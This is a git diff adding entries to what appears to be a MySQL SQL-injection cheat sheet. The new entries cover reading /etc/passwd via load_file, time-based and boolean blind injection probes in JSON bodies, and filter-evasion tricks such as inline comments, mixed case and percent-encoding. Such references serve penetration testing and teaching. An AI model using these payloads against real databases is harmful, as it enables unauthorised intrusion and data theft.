diff --git a/attackQueries/executingOSCommands/mysql.html b/attackQueries/executingOSCommands/mysql.html
index b5cd81f..a483190 100644
--- a/attackQueries/executingOSCommands/mysql.html
+++ b/attackQueries/executingOSCommands/mysql.html
@@ -18,6 +18,9 @@
Executing OS Commands Through MySQL
Command Execution with MySQL CLI Access |
https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ |
+
+ Traversing directories (Linux) |
+ SELECT load_file("/etc/passwd") from information_schema |
diff --git a/injectionTechniques/conditionalStatements/mysql.html b/injectionTechniques/conditionalStatements/mysql.html
index 7d79baa..2c5e5e6 100644
--- a/injectionTechniques/conditionalStatements/mysql.html
+++ b/injectionTechniques/conditionalStatements/mysql.html
@@ -14,9 +14,17 @@ Conditionals
If/Else |
SELECT IF(1=2,'true','false') |
+
+ If/Else (json) |
+ {"id"="xxx AND IF(length(database())=’1’, SLEEP(15),1)#”} If the database name's length is 1, database gets unresponsive with given miliseconds |
+
Logical OR |
SELECT 1 || 0 To see nuances of this operator go here |
+
+ AND (json) |
+ {"id"="xxx AND 1=1#"} True statement {"id"="xxx AND 1=2#"} False statement |
+
-
\ No newline at end of file
+
diff --git a/injectionTechniques/obfuscation/mysql.html b/injectionTechniques/obfuscation/mysql.html
index 0dcf1e0..3406d66 100644
--- a/injectionTechniques/obfuscation/mysql.html
+++ b/injectionTechniques/obfuscation/mysql.html
@@ -26,6 +26,10 @@ Obfuscating Queries
Hex > Int |
SELECT 0x20 + 0x40 |
+
+ Unhex/hex |
+ unhex(hex(user())) |
+
Bitwise AND |
SELECT 6 & 2 |
@@ -72,7 +76,11 @@ Obfuscating Queries
Single line comment |
- SELECT 1 -- comments out rest of line SELECT 1 # comments out rest of line |
+ SELECT 1 -- comments out rest of line SELECT 1 # comments out rest of line SELECT 1 --+ - Comments out rest of the line SELECT 1 --+- - Comments out rest of the line SELECT 1 -- - - Comments out rest of the line SELECT 1 %00 - Comments out rest of the line |
+
+
+ In-line comment |
+ SEL/*_*/ECT * FR/*_*/OM |
No Spaces |
@@ -94,6 +102,10 @@ Obfuscating Queries
Invalid Percent Encode |
%SEL%ECT * F%R%OM U%S%ERS |
+
+ character obfuscation |
+ SeLeCt * FrOm |
+